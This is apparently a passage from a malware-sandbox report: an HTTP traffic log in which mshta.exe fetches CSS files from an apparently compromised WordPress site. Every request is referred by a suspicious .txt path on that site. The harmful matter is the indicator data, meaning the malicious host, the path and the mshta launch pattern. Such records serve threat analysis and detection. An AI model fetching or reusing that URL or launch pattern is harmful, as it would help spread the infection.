                                                              Pragma: no-cache
                                                              X-Varnish: 19207278 22727727
                                                              Age: 35
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 61 72 74 69 63 6c 65 2c 20 61 73 69 64 65 2c 20 64 65 74 61 69 6c 73 2c 20 66 69 67 63 61 70 74 69 6f 6e 2c 20 66 69 67 75 72 65 2c 20 66 6f 6f 74 65 72 2c 20 68 65 61 64 65 72 2c 20 68 67 72 6f 75 70 2c 20 6e 61 76 2c 20 73 65 63 74 69 6f 6e 20 7b 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 20 7d 0a 61 75 64 69 6f 2c 20 63 61 6e 76 61 73 2c 20 76 69 64 65 6f 20 7b 0a 09 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 0a 09 2a 7a 6f 6f 6d 3a 31 3b 0a 7d 0a 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 20 7b 20 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 20 7d 0a 68 74 6d 6c 20 7b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 0a 09 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 0a 7d 0a 61 3a 66 6f 63 75 73 20 7b 0a 09 6f 75 74 6c 69 6e 65 3a 74 68 69 6e 20 64 6f 74 74 65 64 20 23 33 33 33 3b 0a 09 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6c 6f 72 3b 0a 09 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 65 74 3a 2d 32 70 78 3b 0a 7d 0a 61 3a 68 6f 76 65 72 2c 20 61 3a 61 63 74 69 76 65 20 7b 20 6f 75 74 6c 69 6e 65 3a 30 3b 20 7d 0a 73 75 62 2c 20 73 75 70 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 37 35 25 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 0a 7d 0a 73 75 70 20 7b 20 74 6f 70 3a 2d 30 2e 35 65 6d 3b 20 7d 0a 73 75 62 20 7b 20 62 6f 74 74 6f 6d 3a 2d 30 2e 32 35 65 6d 3b 20 7d 0a 69 6d 67 20 7b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 77 69 64 74 68 3a 61 75 74 6f 20 5c 39 3b 0a 09 68 65 69 67 68 74 3a 61 75 74 6f 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 0a 09 62 6f 72 64 65 72 3a 30 3b 0a 09 2d 6d 73 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 6d 6f 64 65 3a 62 69 63 75 62 69 63 3b 0a 7d 0a 23 6d 61 70 5f 63 61 6e 76 61 73 20 69 6d 67 2c 20 2e 67 6f 6f 67 6c 65 2d 6d 61 70 73 20 69 6d 67 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 20 7d 0a 62 75 74 74 6f 6e 2c 20 69 6e 70 75 74 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 09 6d 61 72 67 69 6e 3a 30 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 0a 7d 0a 62 75 74 74 6f 6e 2c 20 69 6e 70 75 74 20 7b 0a 09 2a 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 0a 7d 0a 62 75 74 74 6f 6e 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 2c 20 69 6e 70 75 74 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 20 7b 0a 09 70 61 64 64 69 6e 67 3a 30 3b 0a 09 62 6f 72 64 65 72 3a 30 3b 0a 7d 0a 62 75 74 74 6f 6e 2c 20 68 74
                                                              Data Ascii: article, aside, details, figcaption, figure, footer, header, hgroup, nav, section { display:block; }audio, canvas, video {display:inline-block;*display:inline;*zoom:1;}audio:not([controls]) { display:none; }html {font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;}a:focus {outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;}a:hover, a:active { outline:0; }sub, sup {position:relative;font-size:75%;line-height:0;vertical-align:baseline;}sup { top:-0.5em; }sub { bottom:-0.25em; }img {max-width:100%;width:auto \9;height:auto;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic;}#map_canvas img, .google-maps img { max-width:none; }button, input, select, textarea {margin:0;font-size:100%;vertical-align:middle;}button, input {*overflow:visible;line-height:normal;}button::-moz-focus-inner, input::-moz-focus-inner {padding:0;border:0;}button, ht
                                                              Aug 16, 2022 10:33:04.825512886 CEST109INData Raw: 6d 6c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 61 70 70 65
                                                              Data Ascii: ml input[type="button"], input[type="reset"], input[type="submit"] {-webkit-appearance:button;cursor:pointer;}label, select, button, input[type="button"], input[type="reset"], input[type="submit"], input[type="radio"], input[type="checkb
                                                              Aug 16, 2022 10:33:04.825546980 CEST110INData Raw: 74 3a 22 22 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 20 63 6c 65 61 72 3a 62 6f 74 68 3b 20 7d 0a 2e 68 69 64 65 2d 74 65 78 74 20 7b 0a 09 66 6f 6e 74 3a 30 2f 30 20 61 3b 0a
                                                              Data Ascii: t:"";line-height:0;}.clearfix:after { clear:both; }.hide-text {font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0;}.input-block-level {display:block;width:100%;min-height:34px;-webkit-b
                                                              Aug 16, 2022 10:33:04.825578928 CEST112INData Raw: 31 31 20 7b 20 77 69 64 74 68 3a 38 36 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 31 30 20 7b 20 77 69 64 74 68 3a 37 38 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 39 20 7b 20 77 69 64 74 68 3a 37 30 30 70 78 3b 20 7d 0a 2e 73 70 61 6e 38 20 7b 20 77 69 64 74
                                                              Data Ascii: 11 { width:860px; }.span10 { width:780px; }.span9 { width:700px; }.span8 { width:620px; }.span7 { width:540px; }.span6 { width:460px; }.span5 { width:380px; }.span4 { width:300px; }.span3 { width:220px; }.span2 { width:140px; }.span1
                                                              Aug 16, 2022 10:33:04.825613976 CEST113INData Raw: 64 20 2e 73 70 61 6e 31 30 20 7b 0a 09 77 69 64 74 68 3a 38 32 2e 39 37 38 37 32 33 34 30 34 32 35 35 25 3b 0a 09 2a 77 69 64 74 68 3a 38 32 2e 39 32 35 35 33 31 39 31 34 38 39 34 25 3b 0a 7d 0a 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 73 70 61 6e 39
                                                              Data Ascii: d .span10 {width:82.978723404255%;*width:82.925531914894%;}.row-fluid .span9 {width:74.468085106383%;*width:74.414893617021%;}.row-fluid .span8 {width:65.957446808511%;*width:65.904255319149%;}.row-fluid .span7 {width:57.44
                                                              Aug 16, 2022 10:33:04.825647116 CEST115INData Raw: 37 38 2e 36 31 37 30 32 31 32 37 36 35 39 36 25 3b 0a 7d 0a 2e 72 6f 77 2d 66 6c 75 69 64 20 2e 6f 66 66 73 65 74 39 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 36 2e 35 39 35 37 34 34 36 38 30 38 35 31
                                                              Data Ascii: 78.617021276596%;}.row-fluid .offset9:first-child {margin-left:76.595744680851%;*margin-left:76.489361702128%;}.row-fluid .offset8 {margin-left:70.212765957447%;*margin-left:70.106382978723%;}.row-fluid .offset8:first-child {ma
                                                              Aug 16, 2022 10:33:04.825680971 CEST116INData Raw: 74 32 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 37 2e 30 32 31 32 37 36 35 39 35 37 34 35 25 3b 0a 09 2a 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 36 2e 39 31 34 38 39 33 36 31 37 30 32 31 25 3b 0a 7d 0a
                                                              Data Ascii: t2:first-child {margin-left:17.021276595745%;*margin-left:16.914893617021%;}.row-fluid .offset1 {margin-left:10.63829787234%;*margin-left:10.531914893617%;}.row-fluid .offset1:first-child {margin-left:8.5106382978723%;*margin-l
                                                              Aug 16, 2022 10:33:04.825716019 CEST117INData Raw: 78 74 2d 69 6e 66 6f 3a 66 6f 63 75 73 20 7b 20 63 6f 6c 6f 72 3a 23 32 64 36 39 38 37 3b 20 7d 0a 2e 74 65 78 74 2d 73 75 63 63 65 73 73 20 7b 20 63 6f 6c 6f 72 3a 23 34 36 38 38 34 37 3b 20 7d 0a 61 2e 74 65 78 74 2d 73 75 63 63 65 73 73 3a 68
                                                              Data Ascii: xt-info:focus { color:#2d6987; }.text-success { color:#468847; }a.text-success:hover, a.text-success:focus { color:#356635; }.text-left { text-align:left; }.text-right { text-align:right; }.text-center { text-align:center; }h1, h2, h3, h
                                                              Aug 16, 2022 10:33:04.825748920 CEST119INData Raw: 6c 64 3b 20 7d 0a 64 64 20 7b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 32 70 78 3b 20 7d 0a 2e 64 6c 2d 68 6f 72 69 7a 6f 6e 74 61 6c 20 7b 20 2a 7a 6f 6f 6d 3a 31 3b 20 7d 0a 2e 64 6c 2d 68 6f 72 69 7a 6f 6e 74 61 6c 3a 62 65 66 6f 72 65 2c 20
                                                              Data Ascii: ld; }dd { margin-left:12px; }.dl-horizontal { *zoom:1; }.dl-horizontal:before, .dl-horizontal:after {display:table;content:"";line-height:0;}.dl-horizontal:after { clear:both; }.dl-horizontal dt {float:left;width:160px;clear:
                                                              Aug 16, 2022 10:33:04.825834990 CEST120INData Raw: 32 34 70 78 3b 0a 09 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 0a 7d 0a 63 6f 64 65 2c 20 70 72 65 20 7b 0a 09 70 61 64 64 69 6e 67 3a 30 20 33 70 78 20 32 70 78 3b 0a 09 66 6f
                                                              Data Ascii: 24px;font-style:normal;line-height:24px;}code, pre {padding:0 3px 2px;font-family:Monaco, Menlo, Consolas, "Courier New", monospace;font-size:13px;color:#333;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3p
                                                              Aug 16, 2022 10:33:05.041301012 CEST128INData Raw: 2c 20 74 65 78 74 61 72 65 61 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4c 61 74 6f 3b 20 7d 0a 6c 61 62 65 6c 20 7b 0a 09 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 0a 7d 0a 73 65 6c
                                                              Data Ascii: , textarea { font-family:Lato; }label {display:block;margin-bottom:5px;}select, textarea, input[type="text"], input[type="password"], input[type="datetime"], input[type="datetime-local"], input[type="date"], input[type="month"], input[t
                                                              Aug 16, 2022 10:33:05.479888916 CEST243OUTGET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:05.698165894 CEST333INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:05 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT
                                                              ETag: "a50de6-2b5-5c93d38685a84"
                                                              Accept-Ranges: bytes
                                                              Content-Length: 693
                                                              Connection: close
                                                              Content-Type: text/css
                                                              Data Raw: 61 2e 67 66 6c 61 67 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 70 61 64 64 69 6e 67 3a 31 70 78 20 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 32 34 2e 70 6e 67 29 3b 7d 0a 61 2e 67 66 6c 61 67 20 69 6d 67 20 7b 62 6f 72 64 65 72 3a 30 3b 68 65 69 67 68 74 3a 32 34 70 78 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 7d 0a 61 2e 67 66 6c 61 67 3a 68 6f 76 65 72 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 32 34 61 2e 70 6e 67 29 3b 7d 0a 69 6d 67 2e 67 73 74 61 74 73 20 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 0a 61 2e 61 6c 74 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 61 6c 74 5f 66 6c 61 67 73 2e 70 6e 67 29 3b 7d 0a 61 2e 61 6c 74 5f 66 6c 61 67 3a 68 6f 76 65 72 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 61 6c 74 5f 66 6c 61 67 73 61 2e 70 6e 67 29 3b 7d 0a 61 2e 75 73 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 30 70 78 20 2d 31 30 30 70 78 3b 7d 0a 61 2e 62 72 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 30 30 70 78 20 2d 31 30 30 70 78 3b 7d 0a 61 2e 6d 78 5f 66 6c 61 67 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 32 30 30 70 78 20 2d 31 30 30 70 78 3b 7d 0a 0a 61 2e 67 6c 69 6e 6b 20 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 7d 0a 61 2e 67 6c 69 6e 6b 20 73 70 61 6e 20 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 7d 0a 61 2e 67 6c 69 6e 6b 20 69 6d 67 20 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 62 6f 72 64 65 72 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6f 70 61 63 69 74 79 3a 30 2e 38 3b 7d 0a 61 2e 67 6c 69 6e 6b 3a 68 6f 76 65 72 20 69 6d 67 20 7b 6f 70 61 63 69 74 79 3a 31 3b 7d
                                                              Data Ascii: a.gflag {font-size:24px;padding:1px 0;background-repeat:no-repeat;background-image:url(24.png);}a.gflag img {border:0;height:24px;display:inline;}a.gflag:hover {background-image:url(24a.png);}img.gstats {display:none;}a.alt_flag {background-image:url(alt_flags.png);}a.alt_flag:hover {background-image:url(alt_flagsa.png);}a.us_flag {background-position:-0px -100px;}a.br_flag {background-position:-100px -100px;}a.mx_flag {background-position:-200px -100px;}a.glink {text-decoration:none;}a.glink span {margin-right:5px;font-size:15px;vertical-align:middle;}a.glink img {vertical-align:middle;display:inline;border:0;padding:0;margin:0;opacity:0.8;}a.glink:hover img {opacity:1;}


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              4192.168.2.2249177142.250.181.23880C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:04.670320988 CEST45OUTGET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: translate.google.com
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:04.703195095 CEST46INHTTP/1.1 301 Moved Permanently
                                                              Content-Type: application/binary
                                                              Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                              Pragma: no-cache
                                                              Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                              Date: Tue, 16 Aug 2022 08:33:04 GMT
                                                              Location: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2
                                                              Cross-Origin-Opener-Policy: same-origin-allow-popups
                                                              Server: ESF
                                                              Content-Length: 0
                                                              X-XSS-Protection: 0
                                                              X-Frame-Options: SAMEORIGIN
                                                              X-Content-Type-Options: nosniff


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              5192.168.2.2249175187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:04.824361086 CEST106OUTGET /wp-content/themes/theme51253/style.css HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:05.041829109 CEST156INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:26 GMT
                                                              Server: Apache
                                                              ETag: "a53798-171-58592c24b7dc0"
                                                              Last-Modified: Tue, 02 Apr 2019 21:24:15 GMT
                                                              Content-Length: 369
                                                              Content-Type: text/css
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 16865998 20532928
                                                              Age: 39
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 2d 2d 0a 09 54 68 65 6d 65 20 4e 61 6d 65 3a 20 74 68 65 6d 65 35 31 32 35 33 0a 09 54 68 65 6d 65 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 41 20 74 68 65 6d 65 20 66 6f 72 20 57 6f 72 64 70 72 65 73 73 20 34 2e 34 2e 78 0a 09 41 75 74 68 6f 72 3a 20 54 65 6d 70 6c 61 74 65 5f 48 65 6c 70 2e 63 6f 6d 0a 09 41 75 74 68 6f 72 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 69 6e 66 6f 2e 74 65 6d 70 6c 61 74 65 2d 68 65 6c 70 2e 63 6f 6d 2f 68 65 6c 70 2f 0a 09 54 65 6d 70 6c 61 74 65 3a 20 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 0a 09 56 65 72 73 69 6f 6e 3a 20 33 2e 31 2e 35 0a 2d 2d 2a 2f 0a 0a 2f 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 50 6c 65 61 73 65 2c 20 59 6f 75 20 6d 61 79 20 70 75 74 20 63 75 73 74 6f 6d 20 43 53 53 20 68 65 72 65 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a
                                                              Data Ascii: /*--Theme Name: theme51253Theme URI: http://info.template-help.com/help/Description: A theme for Wordpress 4.4.xAuthor: Template_Help.comAuthor URI: http://info.template-help.com/help/Template: CherryFrameworkVersion: 3.1.5--*//* ----------------------------------------Please, You may put custom CSS here---------------------------------------- */
                                                              Aug 16, 2022 10:33:05.054141998 CEST157OUTGET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:05.273962021 CEST215INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:21 GMT
                                                              Server: Apache
                                                              ETag: "a537b3-55b9-58592f5ac9140"
                                                              Last-Modified: Tue, 02 Apr 2019 21:38:37 GMT
                                                              Content-Length: 21945
                                                              Content-Type: text/css
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 16865999 23495756
                                                              Age: 44
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 52 65 73 70 6f 6e 73 69 76 65 20 76 32 2e 33 2e 30 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 54 77 69 74 74 65 72 2c 20 49 6e 63 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 41 70 61 63 68 65 20 4c 69 63 65 6e 73 65 20 76 32 2e 30 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 61 63 68 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4c 49 43 45 4e 53 45 2d 32 2e 30 0a 20 2a 0a 20 2a 20 44 65 73 69 67 6e 65 64 20 61 6e 64 20 62 75 69 6c 74 20 77 69 74 68 20 61 6c 6c 20 74 68 65 20 6c 6f 76 65 20 69 6e 20 74 68 65 20 77 6f 72 6c 64 20 40 74 77 69 74 74 65 72 20 62 79 20 40 6d 64 6f 20 61 6e 64 20 40 66 61 74 2e 0a 20 2a 2f 0a 2e 63 6c 65 61 72 66 69 78 20 7b 0a 20 20 2a 7a 6f 6f 6d 3a 20 31 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 62 65 66 6f 72 65 2c 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 20 7b 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 7d 0a 2e 68 69 64 65 2d 74 65 78 74 20 7b 0a 20 20 66 6f 6e 74 3a 20 30 2f 30 20 61 3b 0a 20 20 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 2e 69 6e 70 75 74 2d 62 6c 6f 63 6b 2d 6c 65 76 65 6c 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 7d 0a 40 2d 6d 73 2d 76 69 65 77 70 6f 72 74 20 7b 0a 20 20 77 69 64 74 68 3a 20 64 65 76 69 63 65 2d 77 69 64 74 68 3b 0a 7d 0a 2e 68 69 64 64 65 6e 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 70 68 6f 6e 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 74 61 62 6c 65 74 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 68 69 64 64 65 6e 2d 64 65 73 6b 74 6f 70 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 76 69 73 69 62 6c 65 2d 64 65 73 6b 74 6f 70 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 68 65 72 69 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38
                                                              Data Ascii: /*! * Bootstrap Responsive v2.3.0 * * Copyright 2012 Twitter, Inc * Licensed under the Apache License v2.0 * http://www.apache.org/licenses/LICENSE-2.0 * * Designed and built with all the love in the world @twitter by @mdo and @fat. */.clearfix { *zoom: 1;}.clearfix:before,.clearfix:after { display: table; content: ""; line-height: 0;}.clearfix:after { clear: both;}.hide-text { font: 0/0 a; color: transparent; text-shadow: none; background-color: transparent; border: 0;}.input-block-level { display: block; width: 100%; min-height: 30px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box;}@-ms-viewport { width: device-width;}.hidden { display: none; visibility: hidden;}.visible-phone { display: none !important;}.visible-tablet { display: none !important;}.hidden-desktop { display: none !important;}.visible-desktop { display: inherit !important;}@media (min-width: 768
                                                              Aug 16, 2022 10:33:05.273999929 CEST216INData Raw: 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 37 39 70 78 29 20 7b 0a 20 20 2e 68 69 64 64 65 6e 2d 64 65 73 6b 74 6f 70 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 68 65 72 69 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a
